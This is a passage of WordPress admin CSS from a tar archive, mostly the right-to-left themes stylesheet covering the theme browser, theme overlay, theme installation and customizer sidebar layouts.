.about-wrap .headline-feature img { max-width: 600px; width: 100%; } /* Go to Dashboard Home link */ .about-wrap .return-to-dashboard { margin: 30px 0 0 -5px; font-size: 14px; font-weight: 600; } .about-wrap .return-to-dashboard a { text-decoration: none; padding: 0 5px; } /*------------------------------------------------------------------------------ x.4.0 - Legacy About Styles: Credits & Freedoms Pages ------------------------------------------------------------------------------*/ /* Credits */ .about-wrap h2.wp-people-group { margin: 2.6em 0 1.33em; padding: 0; font-size: 16px; line-height: inherit; font-weight: 600; text-align: left; } .about-wrap .wp-people-group { padding: 0 5px; margin: 0 -15px 0 -5px; } .about-wrap .compact { margin-bottom: 0; } .about-wrap .wp-person { display: inline-block; vertical-align: top; margin-right: 10px; padding-bottom: 15px; height: 70px; width: 280px; } .about-wrap .compact .wp-person { height: auto; width: 180px; padding-bottom: 0; margin-bottom: 0; } .about-wrap .wp-person .gravatar { float: left; margin: 0 10px 10px 0; padding: 1px; width: 60px; height: 60px; } .about-wrap .compact .wp-person .gravatar { width: 30px; height: 30px; } .about-wrap .wp-person .web { margin: 6px 0 2px; font-size: 16px; font-weight: 400; line-height: 2; text-decoration: none; } .about-wrap .wp-person .title { display: block; } .about-wrap #wp-people-group-validators + p.wp-credits-list { margin-top: 0; } .about-wrap p.wp-credits-list a { white-space: nowrap; } /* Freedoms */ .freedoms-php .about-wrap ol { margin: 40px 60px; } .freedoms-php .about-wrap ol li { list-style-type: decimal; font-weight: 600; } .freedoms-php .about-wrap ol p { font-weight: 400; margin: 0.6em 0; } /*------------------------------------------------------------------------------ x.5.0 - Legacy About Styles: Media Queries ------------------------------------------------------------------------------*/ @media screen and (max-width: 782px) { .about-wrap .has-3-columns, .about-wrap .has-4-columns { grid-template-columns: 1fr 1fr; } .about-wrap .has-3-columns .column:nth-of-type(3n+1), .about-wrap .has-4-columns .column:nth-of-type(4n+1) { grid-column-start: 1; grid-row-start: 1; } .about-wrap .has-3-columns .column:nth-of-type(3n+2), .about-wrap .has-4-columns .column:nth-of-type(4n+2) { grid-column-start: 2; grid-row-start: 1; } .about-wrap .has-3-columns .column:nth-of-type(3n), .about-wrap .has-4-columns .column:nth-of-type(4n+3) { grid-column-start: 1; grid-row-start: 2; } .about-wrap .has-4-columns .column:nth-of-type(4n) { grid-column-start: 2; grid-row-start: 2; } } @media screen and (max-width: 600px) { .about-wrap .has-2-columns, .about-wrap .has-3-columns, .about-wrap .has-4-columns { display: block; } .about-wrap :not(.is-wider-right):not(.is-wider-left) .column { margin-right: 0; margin-left: 0; } .about-wrap .has-2-columns.is-wider-right, .about-wrap .has-2-columns.is-wider-left { display: grid; } } @media only screen and (max-width: 500px) { .about-wrap { margin-right: 20px; margin-left: 10px; } .about-wrap h1, .about-wrap .about-text { margin-right: 0; } .about-wrap .about-text { margin-bottom: 0.25em; } .about-wrap .wp-badge { position: relative; margin-bottom: 1.5em; width: 100%; } } @media only screen and (max-width: 480px) { .about-wrap .has-2-columns.is-wider-right, .about-wrap .has-2-columns.is-wider-left { display: block; } .about-wrap .column { margin-right: 0; margin-left: 0; } .about-wrap .has-2-columns.is-wider-right img, .about-wrap .has-2-columns.is-wider-left img { max-width: 160px; } } css/themes-rtl.css 0000644 00000126024 15233246127 0010144 0 ustar 00 /*! This file is auto-generated */ /*------------------------------------------------------------------------------ 16.0 - Themes ------------------------------------------------------------------------------*/ /*------------------------------------------------------------------------------ 16.1 - Manage Themes ------------------------------------------------------------------------------*/ .themes-php { overflow-y: scroll; } .themes-php #adminmenuwrap { z-index: 10001; /* above Theme Overlay */ } body.js .theme-browser.search-loading { display: none; } .theme-browser .themes { clear: both; } .themes-php .wrap h1 .button { margin-right: 20px; } /* Search form */ .themes-php .search-form { display: inline-flex; align-items: center; position: relative; top: 0; gap: .5rem; width: 100%; justify-content: end; } .themes-php .wp-filter-search { position: relative; margin: 0; width: 280px; } /* Position admin messages */ .theme .notice, .theme .notice.is-dismissible { right: 0; margin: 0; position: absolute; left: 0; top: 0; } /** * Main theme element * (has flexible margins) */ .theme-browser .theme { cursor: pointer; float: right; margin: 0 0 4% 4%; position: relative; width: 30.6%; background: #ffffff; border: 1px solid rgb(0, 0, 0, 0.1); border-radius: 8px; box-sizing: border-box; overflow: hidden; } .theme-browser .theme:nth-child(3n) { margin-left: 0; } .theme-browser .theme:hover, .theme-browser .theme.focus { cursor: pointer; } .theme-browser .theme .theme-name { font-size: 15px; font-weight: 600; height: 18px; margin: 0; padding: 16px 15px; border-top: 1px solid rgb(0, 0, 0, 0.1); overflow: hidden; white-space: nowrap; text-overflow: ellipsis; background: #ffffff; } /* Activate and Customize buttons, shown on hover and focus */ .theme-browser .theme .theme-actions { -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; opacity: 0; transition: opacity 0.1s ease-in-out; height: auto; background: rgba(246, 247, 247, 0.7); border-right: 1px solid rgba(0, 0, 0, 0.05); } .theme-browser .theme:hover .theme-actions, .theme-browser .theme.focus .theme-actions { -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; opacity: 1; } .theme-browser .theme .theme-actions .button-primary { margin-left: 3px; } /* Use compact size for space-constrained theme cards */ .theme-browser .theme .theme-actions .button.updated-message, .theme-browser .theme .theme-actions .button.updating-message, .theme-browser .theme .theme-actions .button { float: none; margin-right: 3px; } .theme-browser .theme .theme-actions .button.updated-message::before, .theme-browser .theme .theme-actions .button.updating-message::before { line-height: 1; vertical-align: text-bottom; position: relative; top: 2px; } /* Secondary buttons need white background for visibility on semi-transparent overlay */ .theme-browser .theme .theme-actions .button:not(.button-primary) { background: #fff; } .theme-browser .theme .theme-actions .button:not(.button-primary):hover { background: #f0f0f0; } .theme-browser .theme .theme-actions .button:not(.button-primary):focus { background: #fff; } /** * Theme Screenshot * * Has a fixed aspect ratio of 1.5 to 1 regardless of screenshot size * It is also responsive. */ .theme-browser .theme .theme-screenshot { display: block; overflow: hidden; position: relative; -webkit-backface-visibility: hidden; /* Prevents flicker of the screenshot on hover. */ transition: opacity 0.2s ease-in-out; } .theme-browser .theme .theme-screenshot:after { content: ""; display: block; padding-top: 66.66666%; /* using a 3/2 aspect ratio */ } .theme-browser .theme .theme-screenshot img { height: auto; position: absolute; right: 0; top: 0; width: 100%; transition: opacity 0.2s ease-in-out; } .theme-browser .theme:hover .theme-screenshot, .theme-browser .theme.focus .theme-screenshot { background: #fff; } .theme-browser.rendered .theme:hover .theme-screenshot img, .theme-browser.rendered .theme.focus .theme-screenshot img { opacity: 0.4; } .theme-browser .theme .more-details { -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; opacity: 0; position: absolute; top: 35%; left: 20%; right: 20%; width: 60%; background: #1d2327; background: rgba(0, 0, 0, 0.7); color: #fff; font-size: 15px; text-shadow: 0 1px 0 rgba(0, 0, 0, 0.6); -webkit-font-smoothing: antialiased; font-weight: 600; padding: 15px 12px; text-align: center; border-radius: 3px; border: none; transition: opacity 0.1s ease-in-out; cursor: pointer; } .theme-browser .theme .more-details:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); } .theme-browser .theme.focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .theme-browser .theme.focus .more-details { opacity: 1; } /* Current theme needs to have its action always on view */ .theme-browser .theme.active.focus .theme-actions { display: block; } .theme-browser.rendered .theme:hover .more-details, .theme-browser.rendered .theme.focus .more-details { -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; opacity: 1; } /** * The currently active theme */ .theme-browser .theme.active .theme-name { background: #1d2327; color: #fff; padding-left: 115px; font-weight: 300; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.5); } .theme-browser .customize-control .theme.active .theme-name { padding-left: 15px; } .theme-browser .theme.active .theme-name span { font-weight: 600; } .theme-browser .theme.active .theme-actions { background: transparent; border-right: none; opacity: 1; } .theme-browser .theme.active .theme-actions .button-primary { border-color: #fff; } .theme-id-container { position: relative; } .theme-browser .theme.active .theme-actions, .theme-browser .theme .theme-actions { position: absolute; top: 50%; transform: translateY(-50%); left: 0; padding: 9px 12px; } .theme-browser .theme:not(.active) .theme-actions { box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.1); } .theme-browser .theme.active .theme-actions .button-primary { margin-left: 0; } /* Active theme secondary buttons need white background for visibility on dark overlay */ .theme-browser .theme.active .theme-actions .button:not(.button-primary) { background: #fff; } .theme-browser .theme.active .theme-actions .button:not(.button-primary):hover { background: #f0f0f0; } .theme-browser .theme.active .theme-actions .button:not(.button-primary):focus { background: #fff; } .theme-browser .theme .theme-author { background: #1d2327; color: #f0f0f1; display: none; font-size: 14px; margin: 0 10px; padding: 5px 10px; position: absolute; bottom: 56px; } .theme-browser .theme.display-author .theme-author { display: block; } .theme-browser .theme.display-author .theme-author a { color: inherit; } /** * Add new theme */ .theme-browser .theme.add-new-theme { background: transparent; border: none; overflow: visible; } .theme-browser .theme.add-new-theme a { text-decoration: none; display: block; position: relative; z-index: 1; } .theme-browser .theme.add-new-theme a:after { display: block; content: ""; background: transparent; background: rgba(0, 0, 0, 0); position: absolute; top: 0; right: 0; left: 0; bottom: 0; padding: 0; text-shadow: none; border: 5px dashed #dcdcde; border: 5px dashed rgba(0, 0, 0, 0.1); box-sizing: border-box; } .theme-browser .theme.add-new-theme span:after { background: #dcdcde; background: rgba(140, 143, 148, 0.1); border-radius: 50%; display: inline-block; content: "\f132"; content: "\f132" / ''; -webkit-font-smoothing: antialiased; font: normal 74px/115px dashicons; width: 100px; height: 100px; vertical-align: middle; text-align: center; color: #8c8f94; position: absolute; top: 30%; right: 50%; margin-right: -50px; text-indent: -4px; padding: 0; text-shadow: none; z-index: 4; } .rtl .theme-browser .theme.add-new-theme span:after { text-indent: 4px; } .theme-browser .theme.add-new-theme a:hover .theme-screenshot, .theme-browser .theme.add-new-theme a:focus .theme-screenshot { background: none; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { background: #fff; color: #2271b1; } .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { border-color: transparent; color: #fff; background: #2271b1; content: ""; } .theme-browser .theme.add-new-theme .theme-name { background: none; border: none; text-align: center; font-weight: 400; position: relative; top: 0; margin-top: -18px; padding-top: 0; padding-bottom: 48px; } .theme-browser .theme.add-new-theme a:hover .theme-name, .theme-browser .theme.add-new-theme a:focus .theme-name { color: #fff; z-index: 2; } /** * Theme Overlay * Shown when clicking a theme */ .theme-overlay .theme-backdrop { position: absolute; right: -20px; left: 0; top: 0; bottom: 0; background: #f0f0f1; background: rgba(240, 240, 241, 0.9); z-index: 10000; /* Over WP Pointers. */ min-height: calc(100vh - var(--wp-admin--admin-bar--height, 32px)); } .theme-overlay .theme-header { position: absolute; top: 0; right: 0; left: 0; height: 48px; border-bottom: 1px solid #dcdcde; } .theme-overlay .theme-header button { padding: 0; } .theme-overlay .theme-header .close { cursor: pointer; height: 48px; width: 50px; text-align: center; float: left; border: 0; border-right: 1px solid #dcdcde; background-color: transparent; transition: color .1s ease-in-out, background .1s ease-in-out; } .theme-overlay .theme-header .close:before { font: normal 22px/50px dashicons !important; color: #787c82; display: inline-block; content: "\f335"; content: "\f335" / ''; font-weight: 300; } /* Left and right navigation */ .theme-overlay .theme-header .right, .theme-overlay .theme-header .left { cursor: pointer; color: #787c82; background-color: transparent; height: 48px; width: 54px; float: right; text-align: center; border: 0; border-left: 1px solid #dcdcde; transition: color .1s ease-in-out, background .1s ease-in-out; } .theme-overlay .theme-header .close:focus, .theme-overlay .theme-header .close:hover, .theme-overlay .theme-header .right:focus, .theme-overlay .theme-header .right:hover, .theme-overlay .theme-header .left:focus, .theme-overlay .theme-header .left:hover { background: #dcdcde; border-color: #c3c4c7; color: #000; } .theme-overlay .theme-header .close:focus:before, .theme-overlay .theme-header .close:hover:before { color: #000; } .theme-overlay .theme-header .close:focus, .theme-overlay .theme-header .right:focus, .theme-overlay .theme-header .left:focus { box-shadow: none; outline: none; } .theme-overlay .theme-header .left.disabled, .theme-overlay .theme-header .right.disabled, .theme-overlay .theme-header .left.disabled:hover, .theme-overlay .theme-header .right.disabled:hover { color: #c3c4c7; background: inherit; cursor: inherit; } .theme-overlay .theme-header .right:before, .theme-overlay .theme-header .left:before { font: normal 20px/50px dashicons !important; display: inline; font-weight: 300; } .theme-overlay .theme-header .left:before { content: "\f345"; content: "\f341" / ''; } .theme-overlay .theme-header .right:before { content: "\f341"; content: "\f345" / ''; } .theme-overlay .theme-wrap { clear: both; position: fixed; top: 9%; right: 190px; left: 30px; bottom: 3%; background: #fff; box-shadow: 0 1px 20px 5px rgba(0, 0, 0, 0.1); z-index: 10000; /* Over WP Pointers. */ box-sizing: border-box; -webkit-overflow-scrolling: touch; } body.folded .theme-browser ~ .theme-overlay .theme-wrap { right: 70px; } .theme-overlay .theme-about { position: absolute; top: 49px; bottom: 57px; right: 0; left: 0; overflow: auto; padding: 2% 4%; } .theme-overlay .theme-actions { position: absolute; text-align: center; bottom: 0; right: 0; left: 0; padding: 10px 25px 5px; background: #f6f7f7; z-index: 30; box-sizing: border-box; border-top: 1px solid #f0f0f1; display: flex; justify-content: center; gap: 5px; } .theme-overlay .theme-actions .button { margin-bottom: 5px; } /* Hide-if-customize for items we can't add classes to */ .customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-header"], .customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-background"] { display: none; } .broken-themes a.delete-theme, .theme-overlay .theme-actions .delete-theme { color: #b32d2e; text-decoration: none; border-color: transparent; box-shadow: none; background: transparent; } .broken-themes a.delete-theme:hover, .broken-themes a.delete-theme:focus, .theme-overlay .theme-actions .delete-theme:hover, .theme-overlay .theme-actions .delete-theme:focus { background: #b32d2e; color: #fff; border-color: #b32d2e; box-shadow: 0 0 0 1px #b32d2e; } .theme-overlay .theme-actions .active-theme, .theme-overlay.active .theme-actions .inactive-theme { display: none; } .theme-overlay .theme-actions .inactive-theme, .theme-overlay.active .theme-actions .active-theme { display: block; } /** * Theme Screenshots gallery */ .theme-overlay .theme-screenshots { float: right; margin: 0 0 0 30px; width: 55%; max-width: 1200px; /* Recommended theme screenshot width, set here to avoid stretching */ text-align: center; } /* First screenshot, shown big */ .theme-overlay .screenshot { border: 1px solid #fff; box-sizing: border-box; overflow: hidden; position: relative; box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.2); } .theme-overlay .screenshot:after { content: ""; display: block; padding-top: 75%; /* using a 4/3 aspect ratio */ } .theme-overlay .screenshot img { height: auto; position: absolute; right: 0; top: 0; width: 100%; } /* Handles old 300px screenshots */ .theme-overlay.small-screenshot .theme-screenshots { position: absolute; width: 302px; } .theme-overlay.small-screenshot .theme-info { margin-right: 350px; width: auto; } /* Other screenshots, shown small and square */ .theme-overlay .screenshot.thumb { background: #c3c4c7; border: 1px solid #f0f0f1; float: none; display: inline-block; margin: 10px 5px 0; width: 140px; height: 80px; cursor: pointer; } .theme-overlay .screenshot.thumb:after { content: ""; display: block; padding-top: 100%; /* using a 1/1 aspect ratio */ } .theme-overlay .screenshot.thumb img { cursor: pointer; height: auto; position: absolute; right: 0; top: 0; width: 100%; height: auto; } .theme-overlay .screenshot.selected { background: transparent; border: 2px solid #72aee6; } .theme-overlay .screenshot.selected img { opacity: 0.8; } /* No screenshot placeholder */ .theme-browser .theme .theme-screenshot.blank, .theme-overlay .screenshot.blank { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYGWO8d+/efwYkoKioiMRjYGBC4WHhUK6A8T8QIJt8//59ZC493AAAQssKpBK4F5AAAAAASUVORK5CYII=); } /** * Theme heading information */ .theme-overlay .theme-info { width: 40%; float: right; } .theme-overlay .current-label { background: #2c3338; color: #fff; font-size: 11px; display: inline-block; padding: 2px 8px; border-radius: 2px; margin: 0 0 -10px; -webkit-user-select: none; user-select: none; } .theme-overlay .theme-name { color: #1d2327; font-size: 32px; font-weight: 100; margin: 10px 0 0; line-height: 1.3; word-wrap: break-word; overflow-wrap: break-word; } .theme-overlay .theme-version { color: #646970; font-size: 13px; font-weight: 400; float: none; display: inline-block; margin-right: 10px; } .theme-overlay .theme-author { margin: 15px 0 25px; color: #646970; font-size: 16px; font-weight: 400; line-height: inherit; } .theme-overlay .toggle-auto-update { /* Better align spin icon and text. */ display: inline-flex; align-items: center; /* Prevents content after the auto-update toggler from jumping down and up. */ min-height: 20px; /* Same height as the spinning dashicon. */ vertical-align: top; } .theme-overlay .theme-autoupdate .toggle-auto-update { text-decoration: none; } .theme-overlay .theme-autoupdate .toggle-auto-update .label { text-decoration: underline; } .theme-overlay .theme-description { color: #50575e; font-size: 15px; font-weight: 400; line-height: 1.5; margin: 30px 0 0; } .theme-overlay .theme-tags { border-top: 3px solid #f0f0f1; color: #646970; font-size: 13px; font-weight: 400; margin: 30px 0 0; padding-top: 20px; } .theme-overlay .theme-tags span { color: #3c434a; font-weight: 600; margin-left: 5px; } .theme-overlay .parent-theme { background: #fff; border: 1px solid #f0f0f1; border-right: 4px solid #72aee6; font-size: 14px; font-weight: 400; margin-top: 30px; padding: 10px 20px 10px 10px; } .theme-overlay .parent-theme strong { font-weight: 600; } /** * Single Theme Mode * Displays detailed view inline when a user has no switch capabilities */ .single-theme .theme-overlay .theme-backdrop, .single-theme .theme-overlay .theme-header, .single-theme .theme { display: none; } .single-theme .theme-overlay .theme-wrap { clear: both; min-height: 330px; position: relative; right: auto; left: auto; top: auto; bottom: auto; z-index: 10; } .single-theme .theme-overlay .theme-about { padding: 30px 30px 70px; position: static; } .single-theme .theme-overlay .theme-actions { position: absolute; } /** * Basic Responsive structure... * * Shuffles theme columns around based on screen width */ @media only screen and (min-width: 2000px) { #wpwrap .theme-browser .theme { width: 17.6%; margin: 0 0 3% 3%; } #wpwrap .theme-browser .theme:nth-child(3n), #wpwrap .theme-browser .theme:nth-child(4n) { margin-left: 3%; } #wpwrap .theme-browser .theme:nth-child(5n) { margin-left: 0; } } @media only screen and (min-width: 1680px) { .theme-overlay .theme-wrap { width: 1450px; margin: 0 auto; } } /* Maximum screenshot width reaches 440px */ @media only screen and (min-width: 1640px) { .theme-browser .theme { width: 22.7%; margin: 0 0 3% 3%; } .theme-browser .theme .theme-screenshot:after { padding-top: 75%; /* using a 4/3 aspect ratio */ } .theme-browser .theme:nth-child(3n) { margin-left: 3%; } .theme-browser .theme:nth-child(4n) { margin-left: 0; } } /* Maximum screenshot width reaches 440px */ @media only screen and (max-width: 1120px) { .theme-browser .theme { width: 47.5%; margin-left: 0; } .theme-browser .theme:nth-child(even) { margin-left: 0; } .theme-browser .theme:nth-child(odd) { margin-left: 5%; } } /* Admin menu is folded */ @media only screen and (max-width: 960px) { .theme-overlay .theme-wrap { right: 65px; } } @media only screen and (max-width: 782px) { body.folded .theme-overlay .theme-wrap, .theme-overlay .theme-wrap { top: 0; /* The adminmenu isn't fixed on mobile, so this can use the full viewport height */ left: 0; bottom: 0; right: 0; padding: 70px 20px 20px; border: none; z-index: 100000; /* should overlap #wpadminbar. */ position: fixed; } .theme-browser .theme.active .theme-name span { /* Hide the "Active: " label on smaller screens. */ display: none; } .theme-overlay .theme-screenshots { width: 40%; } .theme-overlay .theme-info { width: 50%; } .single-theme .theme-wrap { padding: 10px; } .theme-browser .theme .theme-actions { padding: 5px 10px 4px; } .theme-overlay.small-screenshot .theme-screenshots { position: static; float: none; max-width: 302px; } .theme-overlay.small-screenshot .theme-info { margin-right: 0; width: auto; } .theme:not(.active):hover .theme-actions, .theme:not(.active):focus .theme-actions, .theme:hover .more-details, .theme.focus .more-details { display: none; } .theme-browser.rendered .theme:hover .theme-screenshot img, .theme-browser.rendered .theme.focus .theme-screenshot img { opacity: 1.0; } } @media only screen and (max-width: 480px) { .theme-browser .theme { width: 100%; margin-left: 0; } .theme-browser .theme:nth-child(2n), .theme-browser .theme:nth-child(3n) { margin-left: 0; } .theme-overlay .theme-about { bottom: 105px; } .theme-overlay .theme-actions { padding-right: 4%; padding-left: 4%; } .theme-install-php .wp-filter .filter-count { margin-top: 10px; } } @media only screen and (max-width: 650px) { .theme-overlay .theme-description { margin-right: 0; } .theme-overlay .theme-actions .delete-theme { position: relative; left: auto; bottom: auto; } .theme-overlay .theme-actions .inactive-theme { display: inline; } .theme-overlay .theme-screenshots { width: 100%; float: none; margin: 0; } .theme-overlay .theme-info { width: 100%; } .theme-overlay .theme-author { margin: 5px 0 15px; } .theme-overlay .current-label { margin-top: 10px; font-size: 13px; } .themes-php .wp-filter-search { width: 100%; } .theme-install-php .wp-filter p.search-box { display: grid; row-gap: .5rem; } .theme-browser .theme.add-new-theme span:after { font: normal 60px/90px dashicons; width: 80px; height: 80px; top: 30%; right: 50%; text-indent: 0; margin-right: -40px; } .single-theme .theme-wrap { margin: 0 -10px 0 -12px; padding: 10px; } .single-theme .theme-overlay .theme-about { padding: 10px; overflow: visible; } .single-theme .current-label { display: none; } .single-theme .theme-overlay .theme-actions { position: static; } } .broken-themes { clear: both; } .broken-themes table { text-align: right; width: 50%; border-spacing: 3px; padding: 3px; } /*------------------------------------------------------------------------------ 16.2 - Install Themes ------------------------------------------------------------------------------*/ .update-php .wrap { max-width: 40rem; } /* Already installed theme */ .theme-browser .theme .theme-installed { background: #2271b1; } .theme-browser .theme .notice-success p:before { color: #68de7c; content: "\f147"; content: "\f147" / ''; display: inline-block; font: normal 20px/1 'dashicons'; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; vertical-align: top; } .theme-install.updated-message:before { content: ""; } .theme-install-php .wp-filter { padding-right: 20px; } /* Override column gap adjustment in media library. */ @media only screen and (max-width: 1000px) { .theme-install-php .wp-filter p.search-box { column-gap: .5rem; } } .theme-install-php a.upload, .theme-install-php a.browse-themes { cursor: pointer; } .upload-view-toggle .browse, .plugin-install-tab-upload .upload-view-toggle .upload { display: none; } .plugin-install-tab-upload .upload-view-toggle .browse { display: inline; } .upload-theme, .upload-plugin { box-sizing: border-box; display: none; margin: 0; padding: 50px 0; width: 100%; overflow: hidden; position: relative; top: 10px; text-align: center; } .show-upload-view .upload-theme, .show-upload-view .upload-plugin, .show-upload-view .upload-plugin-wrap, .plugin-install-tab-upload .upload-plugin { display: block; } .upload-theme .wp-upload-form, .upload-plugin .wp-upload-form { position: relative; margin: 30px; display: inline-flex; justify-content: space-between; align-items: center; border: 1px solid #c3c4c7; background: #f6f7f7; } .upload-theme .wp-upload-form input[type="file"], .upload-plugin .wp-upload-form input[type="file"] { background: transparent; margin: 0; padding: 30px 30px 30px 0; } .wp-upload-form input[type="submit"].button { margin-left: 30px; } .upload-theme .install-help, .upload-plugin .install-help { color: #50575e; /* #f1f1f1 background */ font-size: 18px; font-style: normal; margin: 0; padding: 0; text-align: center; } p.no-themes, p.no-themes-local { clear: both; color: #646970; font-size: 18px; font-style: normal; margin: 0; padding: 100px 0; text-align: center; display: none; } .no-results p.no-themes { display: block; } .theme-install-php .add-new-theme { display: none !important; } @media only screen and (max-width: 1120px) { .upload-plugin .wp-upload-form, .upload-theme .wp-upload-form { margin: 20px 0; max-width: 100%; } .upload-theme .install-help { font-size: 15px; padding: 20px 0 0; } } .theme-details .theme-rating { line-height: 1.9; } .theme-details .star-rating { display: inline; } .theme-details .num-ratings, .theme-details .no-rating { font-size: 11px; color: #646970; } .theme-details .no-rating { display: block; line-height: 1.9; } .update-from-upload-comparison { border-top: 1px solid #dcdcde; border-bottom: 1px solid #dcdcde; text-align: right; margin: 1rem 0 1.4rem; border-collapse: collapse; width: 100%; } .update-from-upload-comparison tr:last-child td { height: 1.4rem; vertical-align: top; } .update-from-upload-comparison tr:first-child th { font-weight: bold; height: 1.4rem; vertical-align: bottom; } .update-from-upload-comparison td.name-label { text-align: left; } .update-from-upload-comparison td, .update-from-upload-comparison th { padding: 0.4rem 1.4rem; } .update-from-upload-comparison td.warning { color: #d63638; } .update-from-upload-actions { margin-top: 1.4rem; } /*------------------------------------------------------------------------------ 16.3 - Custom Header Screen ------------------------------------------------------------------------------*/ .appearance_page_custom-header #headimg { border: 1px solid #dcdcde; overflow: hidden; width: 100%; } .appearance_page_custom-header #upload-form p label { font-size: 12px; } .appearance_page_custom-header .available-headers .default-header { float: right; margin: 0 0 20px 20px; } .appearance_page_custom-header .random-header { clear: both; margin: 0 0 20px 20px; vertical-align: middle; } .appearance_page_custom-header .available-headers label input, .appearance_page_custom-header .random-header label input { margin-left: 10px; } .appearance_page_custom-header .available-headers label img { vertical-align: middle; } /*------------------------------------------------------------------------------ 16.4 - Custom Background Screen ------------------------------------------------------------------------------*/ div#custom-background-image { min-height: 100px; border: 1px solid #dcdcde; } div#custom-background-image img { max-width: 400px; max-height: 300px; } .background-position-control input[type="radio"]:checked ~ .button { background: #f0f0f1; border-color: #8c8f94; box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5); z-index: 1; } .background-position-control input[type="radio"]:focus ~ .button { border-color: #4f94d4; box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5), 0 0 3px rgba(34, 113, 177, 0.8); color: #1d2327; } .background-position-control .background-position-center-icon, .background-position-control .background-position-center-icon:before { display: inline-block; line-height: 1; text-align: center; transition: background-color .1s ease-in; } .background-position-control .background-position-center-icon { height: 20px; margin-top: 13px; vertical-align: top; width: 20px; } .background-position-control .background-position-center-icon:before { background-color: #50575e; border-radius: 50%; content: ""; height: 12px; width: 12px; } .background-position-control .button:hover .background-position-center-icon:before, .background-position-control input[type="radio"]:focus ~ .button .background-position-center-icon:before { background-color: #1d2327; } .background-position-control .button-group { display: block; } .background-position-control .button-group .button { border-radius: 0; box-shadow: none; /* Following properties are overridden by buttons responsive styles (see: wp-includes/css/buttons.css). */ height: 40px !important; line-height: 2.9 !important; margin: 0 0 0 -1px !important; padding: 0 10px 1px !important; position: relative; } .background-position-control .button-group .button:active, .background-position-control .button-group .button:hover, .background-position-control .button-group .button:focus { z-index: 1; } .background-position-control .button-group:last-child .button { box-shadow: 0 1px 0 #c3c4c7; } .background-position-control .button-group > label { margin: 0 !important; } .background-position-control .button-group:first-child > label:first-child .button { border-radius: 0 3px 0 0; } .background-position-control .button-group:first-child > label:first-child .dashicons { transform: rotate( -45deg ); } .background-position-control .button-group:first-child > label:last-child .button { border-radius: 3px 0 0 0; } .background-position-control .button-group:first-child > label:last-child .dashicons { transform: rotate( 45deg ); } .background-position-control .button-group:last-child > label:first-child .button { border-radius: 0 0 3px 0; } .background-position-control .button-group:last-child > label:first-child .dashicons { transform: rotate( 45deg ); } .background-position-control .button-group:last-child > label:last-child .button { border-radius: 0 0 0 3px; } .background-position-control .button-group:last-child > label:last-child .dashicons { transform: rotate( -45deg ); } .background-position-control .button-group + .button-group { margin-top: -1px; } /*------------------------------------------------------------------------------ 23.0 - Full Overlay w/ Sidebar ------------------------------------------------------------------------------*/ body.full-overlay-active { overflow: hidden; /* Hide all the content, the Customizer overlay is then made visible to be the only available content. */ visibility: hidden; } .wp-full-overlay { background: transparent; z-index: 500000; position: fixed; overflow: visible; top: 0; bottom: 0; right: 0; left: 0; height: 100%; min-width: 0; } .wp-full-overlay-sidebar { box-sizing: border-box; position: fixed; min-width: 300px; max-width: 600px; width: 18%; height: 100%; top: 0; bottom: 0; right: 0; padding: 0; margin: 0; z-index: 10; background: #f0f0f1; border-left: none; } .wp-full-overlay.collapsed .wp-full-overlay-sidebar { overflow: visible; } .wp-full-overlay.collapsed, .wp-full-overlay.expanded .wp-full-overlay-sidebar { margin-right: 0 !important; } .wp-full-overlay.expanded { margin-right: 300px; } .wp-full-overlay.collapsed .wp-full-overlay-sidebar { margin-right: -300px; } @media screen and (min-width: 1667px) { .wp-full-overlay.expanded { margin-right: 18%; } .wp-full-overlay.collapsed .wp-full-overlay-sidebar { margin-right: -18%; } } @media screen and (min-width: 3333px) { .wp-full-overlay.expanded { margin-right: 600px; } .wp-full-overlay.collapsed .wp-full-overlay-sidebar { margin-right: -600px; } } .wp-full-overlay-sidebar:after { content: ""; display: block; position: absolute; top: 0; bottom: 0; left: 0; width: 3px; z-index: 1000; } .wp-full-overlay-main { position: absolute; right: 0; left: 0; top: 0; bottom: 0; height: 100%; } .wp-full-overlay-sidebar .wp-full-overlay-header { position: absolute; right: 0; left: 0; height: 45px; padding: 0 15px; line-height: 3.2; z-index: 10; margin: 0; border-top: none; box-shadow: none; } .wp-full-overlay-sidebar .wp-full-overlay-header a.back { margin-top: 3px; /* Vertically center 40px button in 45px header */ } .wp-full-overlay-sidebar .wp-full-overlay-footer { bottom: 0; border-bottom: none; border-top: none; box-shadow: none; } .wp-full-overlay-sidebar .wp-full-overlay-sidebar-content { position: absolute; top: 45px; bottom: 45px; right: 0; left: 0; overflow: auto; } /* Close & Navigation Links */ .theme-install-overlay .wp-full-overlay-sidebar .wp-full-overlay-header { padding: 0; } .theme-install-overlay .close-full-overlay, .theme-install-overlay .previous-theme, .theme-install-overlay .next-theme { display: block; position: relative; float: right; width: 45px; height: 45px; background: #f0f0f1; border-left: 1px solid #dcdcde; color: #3c434a; cursor: pointer; text-decoration: none; transition: color .1s ease-in-out, background .1s ease-in-out; } .theme-install-overlay .close-full-overlay:hover, .theme-install-overlay .close-full-overlay:focus, .theme-install-overlay .previous-theme:hover, .theme-install-overlay .previous-theme:focus, .theme-install-overlay .next-theme:hover, .theme-install-overlay .next-theme:focus { background: #dcdcde; border-color: #c3c4c7; color: #000; outline: none; box-shadow: none; } .theme-install-overlay .close-full-overlay:before { font: normal 